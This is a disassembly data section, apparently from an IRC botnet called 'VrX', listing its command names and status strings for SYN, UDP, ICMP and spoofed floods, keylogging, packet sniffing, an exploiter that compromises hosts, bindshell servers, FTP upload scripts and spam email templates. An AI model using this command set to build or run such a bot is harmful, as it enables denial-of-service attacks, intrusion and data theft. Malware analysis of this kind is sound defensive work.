aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
